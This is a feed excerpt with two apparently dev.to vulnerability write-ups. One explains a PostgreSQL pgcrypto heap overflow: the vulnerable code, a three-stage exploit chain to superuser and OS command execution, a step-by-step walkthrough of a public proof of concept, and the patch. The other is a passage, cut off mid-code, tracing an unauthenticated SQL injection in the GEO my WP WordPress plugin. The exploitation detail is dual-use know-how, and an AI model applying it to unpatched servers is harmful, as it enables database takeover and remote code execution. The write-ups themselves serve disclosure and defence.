      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl3coq51hj1kah41siwek.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl3coq51hj1kah41siwek.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CVSS 3.0&lt;/strong&gt;: 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-122 (Heap-based Buffer Overflow)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Affected&lt;/strong&gt;: all PostgreSQL versions before 18.2 / 17.8 / 16.12 / 15.16 / 14.21&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Component&lt;/strong&gt;: &lt;code&gt;contrib/pgcrypto&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fix commit&lt;/strong&gt;: &lt;a href="https://github.com/postgres/postgres/commit/379695d3cc70d040b547d912ce4842090d917ece" rel="noopener noreferrer"&gt;&lt;code&gt;379695d3cc70d040b547d912ce4842090d917ece&lt;/code&gt;&lt;/a&gt; (Feb 8, 2026, Michael Paquier)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Discovered by&lt;/strong&gt;: Team Xint Code at ZeroDay.Cloud 2025, an autonomous AI code analysis tool&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This bug has existed since &lt;code&gt;pgcrypto&lt;/code&gt; was first contributed in 2005 — roughly 20 years. &lt;code&gt;pgcrypto&lt;/code&gt; is a &lt;em&gt;trusted extension&lt;/em&gt;, meaning any role with &lt;code&gt;CREATE&lt;/code&gt; privilege on a database can install it without superuser access. Application roles are routinely granted exactly that privilege.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="n"&gt;EXTENSION&lt;/span&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="k"&gt;NOT&lt;/span&gt; &lt;span class="k"&gt;EXISTS&lt;/span&gt; &lt;span class="n"&gt;pgcrypto&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;pgp_pub_decrypt_bytea&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;bytea&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;bytea&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's the entire barrier between an attacker with authenticated SQL access — stolen credentials, a SQL injection point, lateral movement from a compromised host — and the vulnerable code path.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the bug lives
&lt;/h2&gt;

&lt;p&gt;File: &lt;code&gt;contrib/pgcrypto/pgp-pubdec.c&lt;/code&gt;&lt;br&gt;
Function: &lt;code&gt;pgp_parse_pubenc_sesskey()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This function parses a PGP public-key encrypted session key packet. It decrypts the RSA/ElGamal payload, derives the session key length from the decrypted message as &lt;code&gt;msglen - 3&lt;/code&gt;, and copies that many bytes into &lt;code&gt;ctx-&amp;gt;sess_key&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pre-patch code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cm"&gt;/*
 * got sesskey
 */&lt;/span&gt;
&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cipher_algo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msglen&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ctx-&amp;gt;sess_key&lt;/code&gt; is a fixed-size array inside &lt;code&gt;PGP_Context&lt;/code&gt;, capped at &lt;code&gt;PGP_MAX_KEY&lt;/code&gt; (256 bits / 8 = 32 bytes). But &lt;code&gt;sess_key_len&lt;/code&gt; is derived straight from &lt;code&gt;msglen&lt;/code&gt;, and &lt;code&gt;msglen&lt;/code&gt; comes from the RSA/ElGamal modulus size minus PKCS#1 v1.5 padding. &lt;strong&gt;An attacker who controls the PGP message controls &lt;code&gt;msglen&lt;/code&gt;, which flows unchecked into the &lt;code&gt;memcpy&lt;/code&gt; length — pushing well past the 32-byte destination with no bounds check at all.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the heap layout makes this so exploitable
&lt;/h2&gt;

&lt;p&gt;Inside &lt;code&gt;decrypt_internal()&lt;/code&gt;, allocations happen in this order:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[ctx (PGP_Context, holds sess_key)] → [src (MBuf)] → [dst (MBuf)]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An &lt;code&gt;MBuf&lt;/code&gt; holds pointers describing a buffer: start (&lt;code&gt;data&lt;/code&gt;), cursor (&lt;code&gt;read_pos&lt;/code&gt;), and end (&lt;code&gt;data_end&lt;/code&gt;). Because the overflow originates in &lt;code&gt;sess_key&lt;/code&gt;, it runs directly through the adjacent &lt;code&gt;src&lt;/code&gt; struct and into &lt;code&gt;dst&lt;/code&gt;. The gaps between &lt;code&gt;palloc&lt;/code&gt; chunk headers are deterministic, so an attacker can preserve valid-looking header bytes inside the overflow payload — the corrupted allocations still free cleanly through &lt;code&gt;pfree()&lt;/code&gt;, with no crash to give the attack away.&lt;/p&gt;

&lt;p&gt;PostgreSQL's process model compounds this. Each connection gets its own backend via &lt;code&gt;fork()&lt;/code&gt; from &lt;code&gt;postmaster&lt;/code&gt;, and the child inherits the parent's address space. Every connection to the same &lt;code&gt;postmaster&lt;/code&gt; shares an identical ASLR layout, so an address leaked on one connection stays valid on the next.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj2bmvlm85whx4601ij0y.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj2bmvlm85whx4601ij0y.png" alt=" " width="800" height="578"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The three-stage exploit chain
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Stage 1 — Information leak.&lt;/strong&gt; The overflow payload partially overwrites &lt;code&gt;dst-&amp;gt;data&lt;/code&gt; with two null bytes, redirecting it to a lower heap address. When &lt;code&gt;decrypt_internal()&lt;/code&gt; returns, &lt;code&gt;mbuf_steal_data(dst)&lt;/code&gt; returns everything between the corrupted &lt;code&gt;dst-&amp;gt;data&lt;/code&gt; and the original &lt;code&gt;dst-&amp;gt;data_end&lt;/code&gt; — a window of heap memory containing stale PIE text pointers and heap addresses. One call yields both the PIE base and a heap reference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 2 — Arbitrary write.&lt;/strong&gt; The attacker opens a fresh connection (same address space) and triggers the overflow again. This time all four &lt;code&gt;dst&lt;/code&gt; fields — &lt;code&gt;data&lt;/code&gt;, &lt;code&gt;data_end&lt;/code&gt;, &lt;code&gt;read_pos&lt;/code&gt;, &lt;code&gt;buf_end&lt;/code&gt; — are forged to point at a target address. A &lt;code&gt;PGP_PKT_SYMENCRYPTED_DATA&lt;/code&gt; packet later in the same PGP message writes attacker-controlled plaintext through the forged &lt;code&gt;dst&lt;/code&gt;, producing an arbitrary-address, arbitrary-value write primitive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stage 3 — Privilege escalation to RCE.&lt;/strong&gt; The target is &lt;code&gt;CurrentUserId&lt;/code&gt;, a global in PostgreSQL's &lt;code&gt;.data&lt;/code&gt; section that holds the OID of the currently authenticated role. Overwriting it with &lt;code&gt;10&lt;/code&gt; (&lt;code&gt;BOOTSTRAP_SUPERUSERID&lt;/code&gt;) grants superuser for the rest of the session. From there, &lt;code&gt;COPY (SELECT ...) TO PROGRAM '{command}'&lt;/code&gt; executes arbitrary OS commands as the user running the PostgreSQL daemon.&lt;/p&gt;

&lt;h2&gt;
  
  
  Inside the public PoC (&lt;code&gt;poc.py&lt;/code&gt;)
&lt;/h2&gt;

&lt;p&gt;The published exploit (&lt;code&gt;var77/CVE-2026-2005&lt;/code&gt;) breaks the above into 7 concrete steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Heap pointer leak&lt;/strong&gt; — corrupt the &lt;code&gt;mdst&lt;/code&gt; buffer's malloc chunk header. When PostgreSQL calls &lt;code&gt;pfree()&lt;/code&gt; on it, the allocator's error message leaks the pointer address, revealing the heap location of &lt;code&gt;mdst-&amp;gt;data&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Arbitrary read&lt;/strong&gt; — a second overflow overwrites &lt;code&gt;mdst-&amp;gt;data&lt;/code&gt; to point at &lt;code&gt;leaked_ptr - 0x10000&lt;/code&gt;. After decryption, &lt;code&gt;mbuf_steal_data()&lt;/code&gt; returns the contents at that address as the decrypted output, dumping heap memory that may contain stale code pointers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pointer scan&lt;/strong&gt; — the dump is scanned for 8-byte little-endian values that look like code addresses (&lt;code&gt;&amp;gt;= 0x500000000000&lt;/code&gt;) but sit outside the heap region — candidate PIE pointers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PIE base voting&lt;/strong&gt; — each candidate is tested against ELF symbol offsets from the postgres binary. Every &lt;code&gt;(addr - sym_offset)&lt;/code&gt; pair whose page offset matches casts a vote; candidates with 10+ votes survive, and the smallest base (PIE is the lowest-mapped segment) wins.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PIE base validation&lt;/strong&gt; — using the arbitrary read, the exploit reads &lt;code&gt;CurrentUserId&lt;/code&gt; at &lt;code&gt;candidate_base + current_user_offset&lt;/code&gt; and checks it against the session's known OID to confirm the base.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Arbitrary write setup&lt;/strong&gt; — the overflow corrupts both &lt;code&gt;msrc&lt;/code&gt; and &lt;code&gt;mdst&lt;/code&gt; MBuf headers in one shot. Forged &lt;code&gt;msrc-&amp;gt;data&lt;/code&gt;/&lt;code&gt;read_pos&lt;/code&gt; point at an embedded symmetric-encrypted packet holding the superuser OID (10); forged &lt;code&gt;mdst-&amp;gt;data&lt;/code&gt; points at &lt;code&gt;CurrentUserId - 4&lt;/code&gt; — the &lt;code&gt;-4&lt;/code&gt; compensates for &lt;code&gt;SET_VARSIZE&lt;/code&gt; in &lt;code&gt;pgp-pgsql.c:533&lt;/code&gt;, which writes the output length into the first 4 bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Privilege escalation&lt;/strong&gt; — with &lt;code&gt;CurrentUserId&lt;/code&gt; now &lt;code&gt;10&lt;/code&gt; (bootstrap superuser), &lt;code&gt;COPY FROM PROGRAM&lt;/code&gt; runs the specified OS command as the postgres system user.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/Ak8TebIN9vk" width="100%" height="390"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix
&lt;/h2&gt;

&lt;p&gt;The patch adds a bounds check against &lt;code&gt;PGP_MAX_KEY&lt;/code&gt; before the &lt;code&gt;memcpy&lt;/code&gt; ever runs:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// contrib/pgcrypto/pgp-pubdec.c, pgp_parse_pubenc_sesskey()&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt;    &lt;span class="n"&gt;sess_key_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;sess_key_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msglen&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sess_key_len&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;PGP_MAX_KEY&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;px_debug&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"incorrect session key length=%u"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sess_key_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PXE_PGP_KEY_TOO_BIG&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;goto&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cm"&gt;/*
 * got sesskey
 */&lt;/span&gt;
&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;cipher_algo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key_len&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sess_key_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;memcpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;sess_key_len&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A new error code was added to &lt;code&gt;contrib/pgcrypto/px.h&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define PXE_PGP_KEY_TOO_BIG    -111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;with a matching message registered in &lt;code&gt;contrib/pgcrypto/px.c&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;PXE_PGP_KEY_TOO_BIG&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Public key too big"&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The full patch spans 8 files and ships a regression test (&lt;code&gt;contrib/pgcrypto/sql/pgp-pubkey-session.sql&lt;/code&gt;) plus the script that generates its test vectors (&lt;code&gt;contrib/pgcrypto/scripts/pgp_session_data.py&lt;/code&gt;). The test feeds &lt;code&gt;pgp_pub_decrypt_bytea()&lt;/code&gt; a PGP message crafted with an oversized session key length and asserts it now fails cleanly with &lt;code&gt;ERROR: Public key too big&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>postgres</category>
      <category>database</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>CVE-2026-52715: Unauthenticated SQL Injection in GEO my WP via Map Boundary Search</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Tue, 25 Aug 2026 04:50:45 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-52715-unauthenticated-sql-injection-in-geo-my-wp-via-map-boundary-search-2fij</link>
      <guid>https://dev.to/guidance_white/cve-2026-52715-unauthenticated-sql-injection-in-geo-my-wp-via-map-boundary-search-2fij</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdkl2ymoyfutyfizcrczo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdkl2ymoyfutyfizcrczo.png" alt=" " width="800" height="533"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;GEO my WP is a WordPress plugin (10,000+ active installs) that adds map-based location search — store locators, proximity search, BuddyPress member search, that kind of thing. When you pan or zoom the map, the plugin fetches only the results inside the currently visible area by sending the map's southwest and northeast corner coordinates back to the server as two request parameters: &lt;code&gt;swlatlng&lt;/code&gt; and &lt;code&gt;nelatlng&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Those two parameters ended up concatenated straight into a SQL query with zero validation and no &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;. Any anonymous visitor could turn a normal-looking search request into arbitrary SQL.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;CVE-2026-52715&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Plugin&lt;/td&gt;
&lt;td&gt;GEO my WP (&lt;code&gt;geo-my-wp&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Eyal Fitoussi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected&lt;/td&gt;
&lt;td&gt;&amp;lt;= 4.5.4 (through 4.5.5)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;4.5.5.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;9.3 (Critical)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-89&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;I cloned the plugin's repo and diffed the security fix commit (&lt;code&gt;380fe2e9&lt;/code&gt;, "Security: harden boundary lat/lng SQL handling") against the version right before it to trace exactly how the two request parameters reach raw SQL.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tracing the call chain
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Entry point: the raw query string
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;includes/class-gmw-form.php&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;get_form_values&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="c1"&gt;// Sanitized and escaped later when outputting values.&lt;/span&gt;
    &lt;span class="nv"&gt;$qs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nf"&gt;wp_unslash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$_SERVER&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'QUERY_STRING'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;gmw_get_form_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;url_px&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$qs&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The comment says sanitization happens later. It doesn't — not for &lt;code&gt;swlatlng&lt;/code&gt;/&lt;code&gt;nelatlng&lt;/code&gt;. This method runs on any front-end page that has a locator search form on it, no login, no nonce, no capability check.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. &lt;code&gt;parse_str()&lt;/code&gt; with no whitelist
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;includes/gmw-functions.php&lt;/code&gt; (pre-fix, as shipped in 4.5.4)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;gmw_get_form_values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$prefix&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$query_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

    &lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;array&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="k"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$query_string&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

        &lt;span class="nv"&gt;$query_string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="nv"&gt;$prefix&lt;/span&gt; &lt;span class="o"&gt;?&lt;/span&gt; &lt;span class="nv"&gt;$query_string&lt;/span&gt; &lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$prefix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$query_string&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="nb"&gt;parse_str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$query_string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;

        &lt;span class="c1"&gt;// for some case where address is not an array.&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'address'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nb"&gt;is_array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'address'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
